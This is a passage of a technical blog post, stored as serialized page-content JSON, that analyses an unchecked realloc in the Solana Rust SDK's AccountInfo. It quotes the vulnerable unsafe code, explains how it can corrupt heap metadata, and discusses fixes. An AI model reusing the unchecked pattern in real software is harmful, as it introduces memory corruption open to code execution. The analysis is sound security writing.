",{"type":21,"tag":335,"props":17536,"children":17539},{"href":17537,"rel":17538},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[339],[17540],{"type":26,"value":17541},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":26,"value":17543},"). The ",{"type":21,"tag":66,"props":17545,"children":17547},{"className":17546},[],[17548],{"type":26,"value":14056},{"type":26,"value":17550}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":21,"tag":66,"props":17552,"children":17554},{"className":17553},[],[17555],{"type":26,"value":15357},{"type":26,"value":17557}," ourselves - potentially through the ",{"type":21,"tag":335,"props":17559,"children":17562},{"href":17560,"rel":17561},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[339],[17563,17569],{"type":21,"tag":66,"props":17564,"children":17566},{"className":17565},[],[17567],{"type":26,"value":17568},"Account",{"type":26,"value":17570}," trait",{"type":26,"value":17572},", which is hardly documented at all and makes ",{"type":21,"tag":39,"props":17574,"children":17575},{},[17576],{"type":26,"value":17577},"no",{"type":26,"value":17579}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":21,"tag":66,"props":17581,"children":17583},{"className":17582},[],[17584],{"type":26,"value":4469},{"type":26,"value":17586}," buffer.",{"type":21,"tag":22,"props":17588,"children":17589},{},[17590,17592,17603,17605,17611,17613,17619,17621,17634,17636,17641,17643,17648,17650,17655,17657,17662,17664,17669,17671,17676],{"type":26,"value":17591},"One long arm of this is ",{"type":21,"tag":335,"props":17593,"children":17596},{"href":17594,"rel":17595},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[339],[17597],{"type":21,"tag":66,"props":17598,"children":17600},{"className":17599},[],[17601],{"type":26,"value":17602},"solana_sdk::account::Account",{"type":26,"value":17604}," - in the client SDK. It holds an account's data in a ",{"type":21,"tag":66,"props":17606,"children":17608},{"className":17607},[],[17609],{"type":26,"value":17610},"Vec\u003Cu8>",{"type":26,"value":17612},", and it implements ",{"type":21,"tag":66,"props":17614,"children":17616},{"className":17615},[],[17617],{"type":26,"value":17618},"solana_program::account_info::Account",{"type":26,"value":17620}," (the trait from earlier) - by ",{"type":21,"tag":335,"props":17622,"children":17625},{"href":17623,"rel":17624},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[339],[17626,17628],{"type":26,"value":17627},"returning a reference to the contents of that ",{"type":21,"tag":66,"props":17629,"children":17631},{"className":17630},[],[17632],{"type":26,"value":17633},"Vec",{"type":26,"value":17635},". So, ",{"type":21,"tag":66,"props":17637,"children":17639},{"className":17638},[],[17640],{"type":26,"value":14056},{"type":26,"value":17642}," writes the size into the 8 bytes right before ",{"type":21,"tag":66,"props":17644,"children":17646},{"className":17645},[],[17647],{"type":26,"value":4469},{"type":26,"value":17649},"; ",{"type":21,"tag":66,"props":17651,"children":17653},{"className":17652},[],[17654],{"type":26,"value":4469},{"type":26,"value":17656}," is the buffer of a ",{"type":21,"tag":66,"props":17658,"children":17660},{"className":17659},[],[17661],{"type":26,"value":17633},{"type":26,"value":17663},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":21,"tag":66,"props":17665,"children":17667},{"className":17666},[],[17668],{"type":26,"value":15357},{"type":26,"value":17670}," out of an SDK ",{"type":21,"tag":66,"props":17672,"children":17674},{"className":17673},[],[17675],{"type":26,"value":17568},{"type":26,"value":17677}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":21,"tag":54,"props":17679,"children":17681},{"id":17680},"remediation",[17682],{"type":26,"value":17683},"Remediation",{"type":21,"tag":22,"props":17685,"children":17686},{},[17687],{"type":26,"value":17688},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":21,"tag":22,"props":17690,"children":17691},{},[17692,17694,17699,17701,17706,17708,17719,17721,17726,17728,17735],{"type":26,"value":17693},"The sensible thing to do would be to store the initial size in the ",{"type":21,"tag":66,"props":17695,"children":17697},{"className":17696},[],[17698],{"type":26,"value":15357},{"type":26,"value":17700},"... except for the fact that the layout of ",{"type":21,"tag":66,"props":17702,"children":17704},{"className":17703},[],[17705],{"type":26,"value":15357},{"type":26,"value":17707}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":21,"tag":15893,"props":17709,"children":17710},{},[17711],{"type":21,"tag":335,"props":17712,"children":17716},{"href":17713,"ariaDescribedBy":17714,"dataFootnoteRef":7,"id":17715},"#user-content-fn-layout",[15900],"user-content-fnref-layout",[17717],{"type":26,"value":17718},"3",{"type":26,"value":17720}," So, with changing ",{"type":21,"tag":66,"props":17722,"children":17724},{"className":17723},[],[17725],{"type":26,"value":15357},{"type":26,"value":17727}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":21,"tag":335,"props":17729,"children":17732},{"href":17730,"rel":17731},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[339],[17733],{"type":26,"value":17734},"this function",{"type":26,"value":172},{"type":21,"tag":75,"props":17737,"children":17739},{"className":77,"code":17738,"language":79,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n    let key_ptr = self.key as *const _ as *const u8;\n    let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n    *original_data_len_ptr as usize\n}\n",[17740],{"type":21,"tag":66,"props":17741,"children":17742},{"__ignoreMap":7},[17743,17751,17759,17767,17775,17782,17790,17798,17846,17911,17977,17998],{"type":21,"tag":85,"props":17744,"children":17745},{"class":87,"line":88},[17746],{"type":21,"tag":85,"props":17747,"children":17748},{"style":92},[17749],{"type":26,"value":17750},"/// Return the account's original data length when it was serialized for the\n",{"type":21,"tag":85,"props":17752,"children":17753},{"class":87,"line":98},[17754],{"type":21,"tag":85,"props":17755,"children":17756},{"style":92},[17757],{"type":26,"value":17758},"/// current program invocation.\n",{"type":21,"tag":85,"props":17760,"children":17761},{"class":87,"line":151},[17762],{"type":21,"tag":85,"props":17763,"children":17764},{"style":92},[17765],{"type":26,"value":17766},"///\n",{"type":21,"tag":85,"props":17768,"children":17769},{"class":87,"line":160},[17770],{"type":21,"tag":85,"props":17771,"children":17772},{"style":92},[17773],{"type":26,"value":17774},"/// # Safety\n",{"type":21,"tag":85,"props":17776,"children":17777},{"class":87,"line":185},[17778],{"type":21,"tag":85,"props":17779,"children":17780},{"style":92},[17781],{"type":26,"value":17766},{"type":21,"tag":85,"props":17783,"children":17784},{"class":87,"line":501},[17785],{"type":21,"tag":85,"props":17786,"children":17787},{"style":92},[17788],{"type":26,"value":17789},"/// This method assumes that the original data length was serialized as a u32\n",{"type":21,"tag":85,"props":17791,"children":17792},{"class":87,"line":697},[17793],{"type":21,"tag":85,"props":17794,"children":17795},{"style":92},[17796],{"type":26,"value":17797},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":21,"tag":85,"props":17799,"children":17800},{"class":87,"line":706},[17801,17805,17809,17813,17818,17822,17826,17830,17834,17838,17842],{"type":21,"tag":85,"props":17802,"children":17803},{"style":102},[17804],{"type":26,"value":14108},{"type":21,"tag":85,"props":17806,"children":17807},{"style":102},[17808],{"type":26,"value":15008},{"type":21,"tag":85,"props":17810,"children":17811},{"style":102},[17812],{"type":26,"value":14113},{"type":21,"tag":85,"props":17814,"children":17815},{"style":1021},[17816],{"type":26,"value":17817}," original_data_len",{"type":21,"tag":85,"props":17819,"children":17820},{"style":114},[17821],{"type":26,"value":1439},{"type":21,"tag":85,"props":17823,"children":17824},{"style":169},[17825],{"type":26,"value":2238},{"type":21,"tag":85,"props":17827,"children":17828},{"style":102},[17829],{"type":26,"value":14131},{"type":21,"tag":85,"props":17831,"children":17832},{"style":114},[17833],{"type":26,"value":736},{"type":21,"tag":85,"props":17835,"children":17836},{"style":169},[17837],{"type":26,"value":14175},{"type":21,"tag":85,"props":17839,"children":17840},{"style":108},[17841],{"type":26,"value":14149},{"type":21,"tag":85,"props":17843,"children":17844},{"style":114},[17845],{"type":26,"value":148},{"type":21,"tag":85,"props":17847,"children":17848},{"class":87,"line":1100},[17849,17853,17858,17862,17866,17870,17875,17879,17883,17887,17891,17895,17899,17903,17907],{"type":21,"tag":85,"props":17850,"children":17851},{"style":102},[17852],{"type":26,"value":3778},{"type":21,"tag":85,"props":17854,"children":17855},{"style":120},[17856],{"type":26,"value":17857}," key_ptr",{"type":21,"tag":85,"props":17859,"children":17860},{"style":169},[17861],{"type":26,"value":1941},{"type":21,"tag":85,"props":17863,"children":17864},{"style":102},[17865],{"type":26,"value":14215},{"type":21,"tag":85,"props":17867,"children":17868},{"style":169},[17869],{"type":26,"value":73},{"type":21,"tag":85,"props":17871,"children":17872},{"style":114},[17873],{"type":26,"value":17874},"key ",{"type":21,"tag":85,"props":17876,"children":17877},{"style":102},[17878],{"type":26,"value":3209},{"type":21,"tag":85,"props":17880,"children":17881},{"style":169},[17882],{"type":26,"value":10231},{"type":21,"tag":85,"props":17884,"children":17885},{"style":102},[17886],{"type":26,"value":10069},{"type":21,"tag":85,"props":17888,"children":17889},{"style":120},[17890],{"type":26,"value":3814},{"type":21,"tag":85,"props":17892,"children":17893},{"style":102},[17894],{"type":26,"value":3195},{"type":21,"tag":85,"props":17896,"children":17897},{"style":169},[17898],{"type":26,"value":10231},{"type":21,"tag":85,"props":17900,"children":17901},{"style":102},[17902],{"type":26,"value":10069},{"type":21,"tag":85,"props":17904,"children":17905},{"style":108},[17906],{"type":26,"value":15052},{"type":21,"tag":85,"props":17908,"children":17909},{"style":114},[17910],{"type":26,"value":2535},{"type":21,"tag":85,"props":17912,"children":17913},{"class":87,"line":1339},[17914,17918,17923,17927,17931,17935,17939,17943,17947,17952,17956,17960,17964,17968,17973],{"type":21,"tag":85,"props":17915,"children":17916},{"style":102},[17917],{"type":26,"value":3778},{"type":21,"tag":85,"props":17919,"children":17920},{"style":120},[17921],{"type":26,"value":17922}," original_data_len_ptr",{"type":21,"tag":85,"props":17924,"children":17925},{"style":169},[17926],{"type":26,"value":1941},{"type":21,"tag":85,"props":17928,"children":17929},{"style":120},[17930],{"type":26,"value":17857},{"type":21,"tag":85,"props":17932,"children":17933},{"style":169},[17934],{"type":26,"value":73},{"type":21,"tag":85,"props":17936,"children":17937},{"style":1021},[17938],{"type":26,"value":14319},{"type":21,"tag":85,"props":17940,"children":17941},{"style":114},[17942],{"type":26,"value":1439},{"type":21,"tag":85,"props":17944,"children":17945},{"style":169},[17946],{"type":26,"value":5097},{"type":21,"tag":85,"props":17948,"children":17949},{"style":2285},[17950],{"type":26,"value":17951},"4",{"type":21,"tag":85,"props":17953,"children":17954},{"style":114},[17955],{"type":26,"value":736},{"type":21,"tag":85,"props":17957,"children":17958},{"style":102},[17959],{"type":26,"value":3209},{"type":21,"tag":85,"props":17961,"children":17962},{"style":169},[17963],{"type":26,"value":10231},{"type":21,"tag":85,"props":17965,"children":17966},{"style":102},[17967],{"type":26,"value":10069},{"type":21,"tag":85,"props":17969,"children":17970},{"style":108},[17971],{"type":26,"value":17972}," u32",{"type":21,"tag":85,"props":17974,"children":17975},{"style":114},[17976],{"type":26,"value":2535},{"type":21,"tag":85,"props":17978,"children":17979},{"class":87,"line":1348},[17980,17985,17990,17994],{"type":21,"tag":85,"props":17981,"children":17982},{"style":169},[17983],{"type":26,"value":17984},"    *",{"type":21,"tag":85,"props":17986,"children":17987},{"style":120},[17988],{"type":26,"value":17989},"original_data_len_ptr",{"type":21,"tag":85,"props":17991,"children":17992},{"style":102},[17993],{"type":26,"value":3195},{"type":21,"tag":85,"props":17995,"children":17996},{"style":108},[17997],{"type":26,"value":17396},{"type":21,"tag":85,"props":17999,"children":18000},{"class":87,"line":1386},[18001],{"type":21,"tag":85,"props":18002,"children":18003},{"style":114},[18004],{"type":26,"value":2671},{"type":21,"tag":22,"props":18006,"children":18007},{},[18008,18010,18015,18017,18022,18024,18029,18031,18036,18038,18045,18047,18054,18055,18062,18063,18070,18071,18078],{"type":26,"value":18009},"It's marked ",{"type":21,"tag":66,"props":18011,"children":18013},{"className":18012},[],[18014],{"type":26,"value":14774},{"type":26,"value":18016},", properly documented, but there's just one problem: we need this for ",{"type":21,"tag":66,"props":18018,"children":18020},{"className":18019},[],[18021],{"type":26,"value":14056},{"type":26,"value":18023},", which originally was not ",{"type":21,"tag":66,"props":18025,"children":18027},{"className":18026},[],[18028],{"type":26,"value":14774},{"type":26,"value":18030},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":21,"tag":66,"props":18032,"children":18034},{"className":18033},[],[18035],{"type":26,"value":14774},{"type":26,"value":18037}," block and added ",{"type":21,"tag":335,"props":18039,"children":18042},{"href":18040,"rel":18041},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[339],[18043],{"type":26,"value":18044},"a doc comment",{"type":26,"value":18046}," - adding to the ",{"type":21,"tag":335,"props":18048,"children":18051},{"href":18049,"rel":18050},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[339],[18052],{"type":26,"value":18053},"small",{"type":26,"value":790},{"type":21,"tag":335,"props":18056,"children":18059},{"href":18057,"rel":18058},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[339],[18060],{"type":26,"value":18061},"pile",{"type":26,"value":790},{"type":21,"tag":335,"props":18064,"children":18067},{"href":18065,"rel":18066},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[339],[18068],{"type":26,"value":18069},"of",{"type":26,"value":790},{"type":21,"tag":335,"props":18072,"children":18075},{"href":18073,"rel":18074},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[339],[18076],{"type":26,"value":18077},"functions",{"type":26,"value":18079}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":21,"tag":54,"props":18081,"children":18083},{"id":18082},"towards-safer-unsafe",[18084,18086],{"type":26,"value":18085},"Towards safer ",{"type":21,"tag":66,"props":18087,"children":18089},{"className":18088},[],[18090],{"type":26,"value":14774},{"type":21,"tag":22,"props":18092,"children":18093},{},[18094,18096,18101,18103,18108,18110,18117],{"type":26,"value":18095},"Let's circle back to that main ",{"type":21,"tag":66,"props":18097,"children":18099},{"className":18098},[],[18100],{"type":26,"value":14774},{"type":26,"value":18102}," block inside ",{"type":21,"tag":66,"props":18104,"children":18106},{"className":18105},[],[18107],{"type":26,"value":14056},{"type":26,"value":18109}," for a bit, shall we? As a reminder, it looks like ",{"type":21,"tag":335,"props":18111,"children":18114},{"href":18112,"rel":18113},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[339],[18115],{"type":26,"value":18116},"this",{"type":26,"value":172},{"type":21,"tag":75,"props":18119,"children":18121},{"className":77,"code":18120,"language":79,"meta":7,"style":7},"// realloc\nunsafe {\n    // First set new length in the serialized data\n    let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n    *ptr = new_len as u64;\n\n    // Then set the new length in the local slice\n    let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n    *ptr = new_len as u64;\n}\n",[18122],{"type":21,"tag":66,"props":18123,"children":18124},{"__ignoreMap":7},[18125,18133,18144,18152,18239,18270,18277,18285,18412,18443],{"type":21,"tag":85,"props":18126,"children":18127},{"class":87,"line":88},[18128],{"type":21,"tag":85,"props":18129,"children":18130},{"style":92},[18131],{"type":26,"value":18132},"// realloc\n",{"type":21,"tag":85,"props":18134,"children":18135},{"class":87,"line":98},[18136,18140],{"type":21,"tag":85,"props":18137,"children":18138},{"style":102},[18139],{"type":26,"value":14774},{"type":21,"tag":85,"props":18141,"children":18142},{"style":114},[18143],{"type":26,"value":148},{"type":21,"tag":85,"props":18145,"children":18146},{"class":87,"line":151},[18147],{"type":21,"tag":85,"props":18148,"children":18149},{"style":92},[18150],{"type":26,"value":18151},"    // First set new length in the serialized data\n",{"type":21,"tag":85,"props":18153,"children":18154},{"class":87,"line":160},[18155,18159,18163,18167,18171,18175,18179,18183,18187,18191,18195,18199,18203,18207,18211,18215,18219,18223,18227,18231,18235],{"type":21,"tag":85,"props":18156,"children":18157},{"style":102},[18158],{"type":26,"value":3778},{"type":21,"tag":85,"props":18160,"children":18161},{"style":120},[18162],{"type":26,"value":14275},{"type":21,"tag":85,"props":18164,"children":18165},{"style":169},[18166],{"type":26,"value":1941},{"type":21,"tag":85,"props":18168,"children":18169},{"style":102},[18170],{"type":26,"value":14215},{"type":21,"tag":85,"props":18172,"children":18173},{"style":169},[18174],{"type":26,"value":73},{"type":21,"tag":85,"props":18176,"children":18177},{"style":1021},[18178],{"type":26,"value":14292},{"type":21,"tag":85,"props":18180,"children":18181},{"style":114},[18182],{"type":26,"value":14297},{"type":21,"tag":85,"props":18184,"children":18185},{"style":169},[18186],{"type":26,"value":3904},{"type":21,"tag":85,"props":18188,"children":18189},{"style":1021},[18190],{"type":26,"value":14306},{"type":21,"tag":85,"props":18192,"children":18193},{"style":114},[18194],{"type":26,"value":14297},{"type":21,"tag":85,"props":18196,"children":18197},{"style":169},[18198],{"type":26,"value":73},{"type":21,"tag":85,"props":18200,"children":18201},{"style":1021},[18202],{"type":26,"value":14319},{"type":21,"tag":85,"props":18204,"children":18205},{"style":114},[18206],{"type":26,"value":1439},{"type":21,"tag":85,"props":18208,"children":18209},{"style":169},[18210],{"type":26,"value":5097},{"type":21,"tag":85,"props":18212,"children":18213},{"style":2285},[18214],{"type":26,"value":4843},{"type":21,"tag":85,"props":18216,"children":18217},{"style":114},[18218],{"type":26,"value":736},{"type":21,"tag":85,"props":18220,"children":18221},{"style":102},[18222],{"type":26,"value":3209},{"type":21,"tag":85,"props":18224,"children":18225},{"style":169},[18226],{"type":26,"value":10231},{"type":21,"tag":85,"props":18228,"children":18229},{"style":102},[18230],{"type":26,"value":2039},{"type":21,"tag":85,"props":18232,"children":18233},{"style":108},[18234],{"type":26,"value":177},{"type":21,"tag":85,"props":18236,"children":18237},{"style":114},[18238],{"type":26,"value":2535},{"type":21,"tag":85,"props":18240,"children":18241},{"class":87,"line":185},[18242,18246,18250,18254,18258,18262,18266],{"type":21,"tag":85,"props":18243,"children":18244},{"style":169},[18245],{"type":26,"value":17984},{"type":21,"tag":85,"props":18247,"children":18248},{"style":120},[18249],{"type":26,"value":14367},{"type":21,"tag":85,"props":18251,"children":18252},{"style":169},[18253],{"type":26,"value":1941},{"type":21,"tag":85,"props":18255,"children":18256},{"style":120},[18257],{"type":26,"value":14376},{"type":21,"tag":85,"props":18259,"children":18260},{"style":102},[18261],{"type":26,"value":3195},{"type":21,"tag":85,"props":18263,"children":18264},{"style":108},[18265],{"type":26,"value":177},{"type":21,"tag":85,"props":18267,"children":18268},{"style":114},[18269],{"type":26,"value":2535},{"type":21,"tag":85,"props":18271,"children":18272},{"class":87,"line":501},[18273],{"type":21,"tag":85,"props":18274,"children":18275},{"emptyLinePlaceholder":16},[18276],{"type":26,"value":703},{"type":21,"tag":85,"props":18278,"children":18279},{"class":87,"line":697},[18280],{"type":21,"tag":85,"props":18281,"children":18282},{"style":92},[18283],{"type":26,"value":18284},"    // Then set the new length in the local slice\n",{"type":21,"tag":85,"props":18286,"children":18287},{"class":87,"line":706},[18288,18292,18296,18300,18304,18308,18312,18316,18320,18324,18328,18332,18336,18340,18344,18348,18352,18356,18360,18364,18368,18372,18376,18380,18384,18388,18392,18396,18400,18404,18408],{"type":21,"tag":85,"props":18289,"children":18290},{"style":102},[18291],{"type":26,"value":3778},{"type":21,"tag":85,"props":18293,"children":18294},{"style":120},[18295],{"type":26,"value":14275},{"type":21,"tag":85,"props":18297,"children":18298},{"style":169},[18299],{"type":26,"value":1941},{"type":21,"tag":85,"props":18301,"children":18302},{"style":169},[18303],{"type":26,"value":1487},{"type":21,"tag":85,"props":18305,"children":18306},{"style":102},[18307],{"type":26,"value":2039},{"type":21,"tag":85,"props":18309,"children":18310},{"style":169},[18311],{"type":26,"value":10231},{"type":21,"tag":85,"props":18313,"children":18314},{"style":114},[18315],{"type":26,"value":14435},{"type":21,"tag":85,"props":18317,"children":18318},{"style":102},[18319],{"type":26,"value":14131},{"type":21,"tag":85,"props":18321,"children":18322},{"style":169},[18323],{"type":26,"value":73},{"type":21,"tag":85,"props":18325,"children":18326},{"style":114},[18327],{"type":26,"value":4469},{"type":21,"tag":85,"props":18329,"children":18330},{"style":169},[18331],{"type":26,"value":73},{"type":21,"tag":85,"props":18333,"children":18334},{"style":1021},[18335],{"type":26,"value":14456},{"type":21,"tag":85,"props":18337,"children":18338},{"style":114},[18339],{"type":26,"value":14461},{"type":21,"tag":85,"props":18341,"children":18342},{"style":102},[18343],{"type":26,"value":3209},{"type":21,"tag":85,"props":18345,"children":18346},{"style":169},[18347],{"type":26,"value":10231},{"type":21,"tag":85,"props":18349,"children":18350},{"style":102},[18351],{"type":26,"value":10069},{"type":21,"tag":85,"props":18353,"children":18354},{"style":108},[18355],{"type":26,"value":177},{"type":21,"tag":85,"props":18357,"children":18358},{"style":114},[18359],{"type":26,"value":1900},{"type":21,"tag":85,"props":18361,"children":18362},{"style":169},[18363],{"type":26,"value":73},{"type":21,"tag":85,"props":18365,"children":18366},{"style":1021},[18367],{"type":26,"value":14319},{"type":21,"tag":85,"props":18369,"children":18370},{"style":114},[18371],{"type":26,"value":1439},{"type":21,"tag":85,"props":18373,"children":18374},{"style":2285},[18375],{"type":26,"value":4779},{"type":21,"tag":85,"props":18377,"children":18378},{"style":114},[18379],{"type":26,"value":736},{"type":21,"tag":85,"props":18381,"children":18382},{"style":102},[18383],{"type":26,"value":3209},{"type":21,"tag":85,"props":18385,"children":18386},{"style":108},[18387],{"type":26,"value":177},{"type":21,"tag":85,"props":18389,"children":18390},{"style":114},[18391],{"type":26,"value":736},{"type":21,"tag":85,"props":18393,"children":18394},{"style":102},[18395],{"type":26,"value":3209},{"type":21,"tag":85,"props":18397,"children":18398},{"style":169},[18399],{"type":26,"value":10231},{"type":21,"tag":85,"props":18401,"children":18402},{"style":102},[18403],{"type":26,"value":2039},{"type":21,"tag":85,"props":18405,"children":18406},{"style":108},[18407],{"type":26,"value":177},{"type":21,"tag":85,"props":18409,"children":18410},{"style":114},[18411],{"type":26,"value":777},{"type":21,"tag":85,"props":18413,"children":18414},{"class":87,"line":1100},[18415,18419,18423,18427,18431,18435,18439],{"type":21,"tag":85,"props":18416,"children":18417},{"style":169},[18418],{"type":26,"value":17984},{"type":21,"tag":85,"props":18420,"children":18421},{"style":120},[18422],{"type":26,"value":14367},{"type":21,"tag":85,"props":18424,"children":18425},{"style":169},[18426],{"type":26,"value":1941},{"type":21,"tag":85,"props":18428,"children":18429},{"style":120},[18430],{"type":26,"value":14376},{"type":21,"tag":85,"props":18432,"children":18433},{"style":102},[18434],{"type":26,"value":3195},{"type":21,"tag":85,"props":18436,"children":18437},{"style":108},[18438],{"type":26,"value":177},{"type":21,"tag":85,"props":18440,"children":18441},{"style":114},[18442],{"type":26,"value":2535},{"type":21,"tag":85,"props":18444,"children":18445},{"class":87,"line":1339},[18446],{"type":21,"tag":85,"props":18447,"children":18448},{"style":114},[18449],{"type":26,"value":2671},{"type":21,"tag":22,"props":18451,"children":18452},{},[18453,18455,18460],{"type":26,"value":18454},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":21,"tag":66,"props":18456,"children":18458},{"className":18457},[],[18459],{"type":26,"value":15923},{"type":26,"value":18461}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":21,"tag":22,"props":18463,"children":18464},{},[18465,18467,18472,18474,18479,18481,18486,18488,18493,18495,18500,18502,18508,18510,18520,18522,18533],{"type":26,"value":18466},"First, let's deal with the ",{"type":21,"tag":66,"props":18468,"children":18470},{"className":18469},[],[18471],{"type":26,"value":15923},{"type":26,"value":18473}," borrowing issue. When we ",{"type":21,"tag":66,"props":18475,"children":18477},{"className":18476},[],[18478],{"type":26,"value":14292},{"type":26,"value":18480},", we get a ",{"type":21,"tag":66,"props":18482,"children":18484},{"className":18483},[],[18485],{"type":26,"value":17163},{"type":26,"value":18487}," back, which represents our borrow of the ",{"type":21,"tag":66,"props":18489,"children":18491},{"className":18490},[],[18492],{"type":26,"value":15923},{"type":26,"value":18494},"'s data. The fix here is simple: keep that ",{"type":21,"tag":66,"props":18496,"children":18498},{"className":18497},[],[18499],{"type":26,"value":17163},{"type":26,"value":18501}," around and use it to access the data, instead of using ",{"type":21,"tag":66,"props":18503,"children":18505},{"className":18504},[],[18506],{"type":26,"value":18507},"RefCell::as_ptr",{"type":26,"value":18509},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":21,"tag":15893,"props":18511,"children":18512},{},[18513],{"type":21,"tag":335,"props":18514,"children":18518},{"href":18515,"ariaDescribedBy":18516,"dataFootnoteRef":7,"id":18517},"#user-content-fn-rustc-llvm",[15900],"user-content-fnref-rustc-llvm",[18519],{"type":26,"value":17951},{"type":26,"value":18521}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":21,"tag":15893,"props":18523,"children":18524},{},[18525],{"type":21,"tag":335,"props":18526,"children":18530},{"href":18527,"ariaDescribedBy":18528,"dataFootnoteRef":7,"id":18529},"#user-content-fn-godbolt",[15900],"user-content-fnref-godbolt",[18531],{"type":26,"value":18532},"5",{"type":26,"value":18534},". So then we get:",{"type":21,"tag":75,"props":18536,"children":18538},{"className":77,"code":18537,"language":79,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[18539],{"type":21,"tag":66,"props":18540,"children":18541},{"__ignoreMap":7},[18542,18586,18593,18600,18684,18724,18731,18738],{"type":21,"tag":85,"props":18543,"children":18544},{"class":87,"line":88},[18545,18549,18553,18558,18562,18566,18570,18574,18578,18582],{"type":21,"tag":85,"props":18546,"children":18547},{"style":102},[18548],{"type":26,"value":12204},{"type":21,"tag":85,"props":18550,"children":18551},{"style":102},[18552],{"type":26,"value":3783},{"type":21,"tag":85,"props":18554,"children":18555},{"style":120},[18556],{"type":26,"value":18557}," slice",{"type":21,"tag":85,"props":18559,"children":18560},{"style":169},[18561],{"type":26,"value":1941},{"type":21,"tag":85,"props":18563,"children":18564},{"style":102},[18565],{"type":26,"value":14215},{"type":21,"tag":85,"props":18567,"children":18568},{"style":169},[18569],{"type":26,"value":73},{"type":21,"tag":85,"props":18571,"children":18572},{"style":1021},[18573],{"type":26,"value":14292},{"type":21,"tag":85,"props":18575,"children":18576},{"style":114},[18577],{"type":26,"value":14297},{"type":21,"tag":85,"props":18579,"children":18580},{"style":169},[18581],{"type":26,"value":3927},{"type":21,"tag":85,"props":18583,"children":18584},{"style":114},[18585],{"type":26,"value":2535},{"type":21,"tag":85,"props":18587,"children":18588},{"class":87,"line":98},[18589],{"type":21,"tag":85,"props":18590,"children":18591},{"emptyLinePlaceholder":16},[18592],{"type":26,"value":703},{"type":21,"tag":85,"props":18594,"children":18595},{"class":87,"line":151},[18596],{"type":21,"tag":85,"props":18597,"children":18598},{"style":92},[18599],{"type":26,"value":14821},{"type":21,"tag":85,"props":18601,"children":18602},{"class":87,"line":160},[18603,18607,18611,18615,18619,18623,18627,18631,18635,18639,18643,18647,18651,18655,18659,18664,18668,18672,18676,18680],{"type":21,"tag":85,"props":18604,"children":18605},{"style":102},[18606],{"type":26,"value":12204},{"type":21,"tag":85,"props":18608,"children":18609},{"style":120},[18610],{"type":26,"value":14275},{"type":21,"tag":85,"props":18612,"children":18613},{"style":169},[18614],{"type":26,"value":1941},{"type":21,"tag":85,"props":18616,"children":18617},{"style":102},[18618],{"type":26,"value":15008},{"type":21,"tag":85,"props":18620,"children":18621},{"style":114},[18622],{"type":26,"value":9999},{"type":21,"tag":85,"props":18624,"children":18625},{"style":120},[18626],{"type":26,"value":15732},{"type":21,"tag":85,"props":18628,"children":18629},{"style":169},[18630],{"type":26,"value":73},{"type":21,"tag":85,"props":18632,"children":18633},{"style":1021},[18634],{"type":26,"value":14306},{"type":21,"tag":85,"props":18636,"children":18637},{"style":114},[18638],{"type":26,"value":14297},{"type":21,"tag":85,"props":18640,"children":18641},{"style":169},[18642],{"type":26,"value":73},{"type":21,"tag":85,"props":18644,"children":18645},{"style":1021},[18646],{"type":26,"value":14319},{"type":21,"tag":85,"props":18648,"children":18649},{"style":114},[18650],{"type":26,"value":1439},{"type":21,"tag":85,"props":18652,"children":18653},{"style":169},[18654],{"type":26,"value":5097},{"type":21,"tag":85,"props":18656,"children":18657},{"style":2285},[18658],{"type":26,"value":4843},{"type":21,"tag":85,"props":18660,"children":18661},{"style":114},[18662],{"type":26,"value":18663},") } 